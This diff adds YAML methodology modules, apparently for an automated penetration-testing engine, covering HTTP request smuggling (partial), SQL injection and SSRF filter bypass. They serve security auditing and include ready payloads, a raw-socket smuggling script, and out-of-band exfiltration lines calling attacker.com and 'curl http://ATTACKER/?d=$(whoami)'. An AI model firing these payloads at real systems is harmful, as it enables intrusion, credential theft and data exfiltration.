+ - Also try `Transfer-Encoding: chunked` in H2 frames (should be illegal but some proxies forward it)
93
+
94
+ ### Step 3: TE Header Obfuscation (TE.TE Variant)
95
+ When both servers honor Transfer-Encoding, trick one into ignoring it:
96
+ - `Transfer-Encoding: xchunked`
97
+ - `Transfer-Encoding : chunked` (space before colon)
98
+ - `Transfer-Encoding:\x0bchunked` (vertical tab)
99
+ - `Transfer-encoding: chunked\r\nTransfer-encoding: x` (duplicate with second invalid)
100
+ - `TRANSFER-ENCODING: chunked` (case variation)
101
+ - `Transfer-Encoding: chunked\r\nTransfer-Encoding: identity`
102
+
103
+ ### Step 4: Confirming Exploitability
104
+ - Smuggle a `GET /known-404-path` — if the next legitimate request returns that 404, confirmed.
105
+ - Smuggle `GET /admin HTTP/1.1\r\nHost: target\r\nX:` — admin content leaking to other users proves request boundary confusion.
106
+ - Smuggle a request that reflects headers — capture another user's cookies/auth tokens.
107
+
108
+ ### Step 5: Impact Escalation
109
+ - **Auth bypass**: smuggle requests to `/admin` or internal-only endpoints behind the proxy.
110
+ - **Cache poisoning**: smuggle a request whose response poisons the CDN cache for other users.
111
+ - **Credential theft**: smuggle a partial request so the next user's request body appends to yours.
112
+ - **Request routing bypass**: cross virtual-host boundaries by smuggling a different Host header.
113
+
114
+ ### Tooling
115
+ - **Python raw sockets** (when curl normalizes headers):
116
+ ```python
117
+ import socket
118
+ s = socket.socket(); s.connect((host, 80))
119
+ s.send(b"POST / HTTP/1.1\r\nHost: x\r\nContent-Length: 13\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nSMUGGLED")
120
+ print(s.recv(4096))
121
+ ```
122
+ - **smuggler.py** (defparam/smuggler): automated CL.TE/TE.CL/TE.TE detection.
123
+ - `curl --http1.1 --raw` for manual probe construction.
124
+ - Must use keep-alive connections — send two requests back-to-back on the same socket.
125
+
126
+ ### Gotchas
127
+ - Many CDNs (Cloudflare, Akamai) patched classic smuggling — focus on custom proxies (old HAProxy, nginx 1.x, Apache Traffic Server).
128
+ - HTTP/2 smuggling requires the proxy to downgrade to HTTP/1.1 for the back-end.
129
+ - Some servers reject requests with both CL and TE — that itself is a good sign (properly patched).
@@ -0,0 +1,102 @@
1
+ id: sqli-advanced
2
+ name: "Advanced SQL Injection"
3
+ description: "Blind, time-based, OOB, second-order, and WAF-bypass SQL injection techniques across MySQL, PostgreSQL, MSSQL, and SQLite."
4
+ version: 1
5
+ applicable_roles:
6
+ - attack
7
+ - audit
8
+ tags:
9
+ - sqli
10
+ - blind-sqli
11
+ - time-based
12
+ - oob
13
+ - second-order
14
+ - waf-bypass
15
+ - database
16
+ triggers:
17
+ - "SQL syntax"
18
+ - "mysql_fetch"
19
+ - "sqlite3?\\."
20
+ - "pg_query"
21
+ - "ORA-\\d{5}"
22
+ - "unclosed quotation mark"
23
+ - "UNION\\s+SELECT"
24
+ - "information_schema"
25
+ - "SLEEP\\("
26
+ - "pg_sleep"
27
+ - "BENCHMARK\\("
28
+ - "WAITFOR DELAY"
29
+ - "blind.*sql"
30
+ - "sql.*error"
31
+ estimated_tokens: 850
32
+ content: |
33
+ ## Advanced SQL Injection Methodology
34
+
35
+ ### Phase 1: Injection Point Discovery
36
+ - Test every parameter (GET, POST, headers, cookies, JSON keys) with canary payloads:
37
+ - String context: `' OR 'a'='a`, `" OR "a"="a`, `' AND '1'='2`
38
+ - Numeric context: `1 OR 1=1`, `1 AND 1=2`, `0 OR 1=1`
39
+ - Comment variants: `--`, `-- -`, `#`, `/**/`, `;%00`
40
+ - Compare response length/content between true and false conditions
41
+ - Check error messages — they leak the DB engine and query structure
42
+
43
+ ### Phase 2: DB Engine Fingerprinting
44
+ - MySQL: `SELECT @@version`, `SELECT version()`, error contains "MySQL"
45
+ - PostgreSQL: `SELECT version()`, error contains "pg_" or "PostgreSQL"
46
+ - MSSQL: `SELECT @@version`, error contains "Microsoft" or "ODBC"
47
+ - SQLite: `SELECT sqlite_version()`, error contains "SQLITE" or "no such column"
48
+ - Oracle: `SELECT banner FROM v$version`, error contains "ORA-"
49
+
50
+ ### Phase 3: Blind SQLi — Boolean-Based
51
+ When no output is visible but responses differ between true/false:
52
+ ```
53
+ ' AND 1=1-- - → normal response (true)
54
+ ' AND 1=2-- - → different response (false)
55
+ ```
56
+ Extract data one character at a time:
57
+ ```
58
+ ' AND SUBSTRING((SELECT current_user()),1,1)='a'-- -
59
+ ' AND ASCII(SUBSTRING((SELECT current_user()),1,1))>64-- -
60
+ ```
61
+ Binary search: bisect ASCII range 32-126 to extract each character in ~7 requests.
62
+
63
+ ### Phase 4: Blind SQLi — Time-Based
64
+ When boolean differences are not observable:
65
+ - MySQL: `' AND IF(1=1,SLEEP(3),0)-- -`
66
+ - MySQL heavy: `' AND BENCHMARK(5000000,MD5('x'))-- -`
67
+ - PostgreSQL: `'; SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END-- -`
68
+ - MSSQL: `'; WAITFOR DELAY '0:0:3'-- -`
69
+ - SQLite: `' AND (SELECT CASE WHEN (1=1) THEN randomblob(100000000) ELSE 0 END)-- -`
70
+ Measure response time delta: 3s+ delay confirms execution.
71
+
72
+ ### Phase 5: Out-of-Band (OOB) Exfiltration
73
+ When time-based is unreliable or blocked:
74
+ - MySQL DNS exfil: `' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\',( SELECT current_user()),'.attacker.com\\\\a'))-- -`
75
+ - MySQL file write: `' UNION SELECT 'data' INTO OUTFILE '/tmp/proof.txt'-- -`
76
+ - PostgreSQL: `'; COPY (SELECT current_user()) TO PROGRAM 'curl http://ATTACKER/?d=$(whoami)'-- -`
77
+ - MSSQL xp_dirtree: `'; EXEC master..xp_dirtree '\\\\\\\\attacker.com\\\\a'-- -`
78
+
79
+ ### Phase 6: Second-Order SQLi
80
+ Payload stored now, triggered later in a different query:
81
+ 1. Register/update a field with: `admin'-- -` as username
82
+ 2. Trigger a password reset or profile lookup that uses the stored value
83
+ 3. The stored payload executes in the second query context
84
+ Common sinks: username fields, address fields, search history, log entries
85
+
86
+ ### Phase 7: WAF Bypass Techniques
87
+ - Inline comments: `/*!50000UNION*/+/*!50000SELECT*/`
88
+ - Case variation: `uNiOn SeLeCt`
89
+ - Double URL encoding: `%2527` decodes to `%27` then to `'`
90
+ - Whitespace alternatives: `/**/`, `%09`, `%0a`, `%0d`, `+`
91
+ - Concatenation: `CONCAT(0x41,0x42)` instead of `'AB'`
92
+ - No-quotes numeric injection: `1 UNION SELECT 1,2,3`
93
+ - HTTP parameter pollution: `?id=1&id=' UNION SELECT 1-- -`
94
+ - JSON/XML body when form expected — different parser, different escaping
95
+
96
+ ### Phase 8: Data Extraction Strategy
97
+ Once injection confirmed, extract minimal non-sensitive proof:
98
+ 1. `SELECT current_user()` — proves auth context
99
+ 2. `SELECT table_name FROM information_schema.tables LIMIT 5` — proves data access
100
+ 3. `SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 5`
101
+ 4. Extract one non-sensitive row as proof of unauthorized data access
102
+ Do NOT dump entire databases — extract the minimum needed to prove impact.
@@ -0,0 +1,84 @@
1
+ id: ssrf-bypass
2
+ name: "SSRF & SSRF-Filter Bypass"
3
+ description: "Server-side request forgery and, more importantly, bypasses of the SSRF guards apps already have — redirect-follow, DNS rebinding, parser confusion, and absolute-URL injection. Verified in openai-node (bearer-cred leak) and vercel/ai."
4
+ version: 1
5
+ applicable_roles:
6
+ - attack
7
+ - audit
8
+ tags:
9
+ - ssrf
10
+ - request-forgery
11
+ - dns-rebinding
12
+ - redirect
13
+ - url-parsing
14
+ - metadata
15
+ - credential-leak
16
+ triggers:
17
+ - "ssrf"
18
+ - "fetch\\(|axios|got\\(|request\\(|httpx|requests\\.get|urllib"
19
+ - "redirect"
20
+ - "follow.?redirect"
21
+ - "new URL\\(|URL\\.parse|urlparse"
22
+ - "allowlist|allow.?list|blocklist|deny.?list"
23
+ - "169\\.254\\.169\\.254|metadata"
24
+ - "localhost|127\\.0\\.0|0\\.0\\.0\\.0|::1"
25
+ - "private.?ip|is.?private|isPrivate"
26
+ - "webhook|callback.?url|image.?url|download.?url|proxy"
27
+ - "baseURL|base_url"
28
+ estimated_tokens: 900
29
+ content: |
30
+ ## SSRF & SSRF-Filter-Bypass Methodology
31
+
32
+ The high-value finding is rarely "the app fetches a user URL with no checks."
33
+ It's "the app HAS an SSRF guard and the guard is bypassable" — that's what
34
+ maintainers accept (and what we verified in openai-node + vercel/ai).
35
+
36
+ ### Phase 1: Find the outbound-fetch sinks + their guard
37
+ Locate where the server makes a request to a URL influenced by input:
38
+ webhooks, image/avatar fetch, link preview, import-from-URL, `baseURL`
39
+ override, OAuth/OIDC discovery, PDF/screenshot renderers. Then find the
40
+ guard: an allowlist, a `isPrivateIP()` check, a scheme filter, a host regex.
41
+
42
+ ### Phase 2: Bypass the guard (the actual bug)
43
+ - **TOCTOU via redirect** — guard validates the initial URL, then the client
44
+ *follows a redirect* to an internal target. (Check: is the redirect target
45
+ re-validated? `maxRedirects`/`follow` with no per-hop check = bypass.)
46
+ - **DNS rebinding / resolution gap** — guard resolves+checks the host, but the
47
+ HTTP client re-resolves at connect time → attacker flips the A record to
48
+ `169.254.169.254` between check and use. (vercel/ai shape: "DNS resolution
49
+ gap in private-IP protection.")
50
+ - **Absolute-URL injection** — a method that takes a *path* also accepts an
51
+ absolute URL, so a relative-looking input escapes the configured `baseURL`
52
+ to an attacker host — and the client sends its **Authorization/bearer
53
+ header** along (openai-node shape: client leaks creds to an attacker server).
54
+ - **Parser confusion** — `new URL()` vs the HTTP client disagree on host:
55
+ `http://allowed@evil/`, `http://evil#@allowed/`, `http://evil\@allowed`,
56
+ backslashes, fragments, embedded credentials, IPv6 brackets, decimal/octal/
57
+ hex IPs (`0x7f000001`, `2130706433`), trailing dots.
58
+ - **Scheme smuggling** — `file://`, `gopher://`, `dict://`, `http://[::]` when
59
+ only `https?` was assumed.
60
+
61
+ ### Phase 3: Impact — what makes it high/critical
62
+ - Reaches cloud metadata (`169.254.169.254` → IAM creds) or internal services.
63
+ - **Leaks the client's own credentials** (bearer/cookie) to the attacker host
64
+ — this is the openai-node finding and it's high-severity on its own.
65
+ - Internal port scan / blind SSRF with timing oracle.
66
+
67
+ ### Phase 4: Confirm before save_finding
68
+ - Show the guard code AND the exact bypass (the redirect/rebind/parse case),
69
+ file:line for both. "There's a fetch" is not a finding — the bypass is.
70
+ - Demonstrate the request leaving to an attacker-controlled host (or the creds
71
+ on it). A captured request to a canary host is the proof.
72
+
73
+ ### Anti-false-positive checklist
74
+ - Is the redirect target re-validated per hop? Is resolution pinned (resolve
75
+ once, connect to that IP)? Is the header stripped on cross-origin redirect?
76
+ - Is the URL actually attacker-controlled, or a fixed config value?
77
+ If the guard re-checks every hop and pins the resolved IP, it's NOT bypassable
78
+ — don't save it.
79
+
80
+ ### Real wins from this engine
81
+ - openai-node: client sends bearer credentials to an attacker-controlled host
82
+ via absolute-URL / public-method path injection.
83
+ - vercel/ai: download-URL SSRF protection bypassed via redirect + a DNS
84
+ resolution gap in the private-IP check.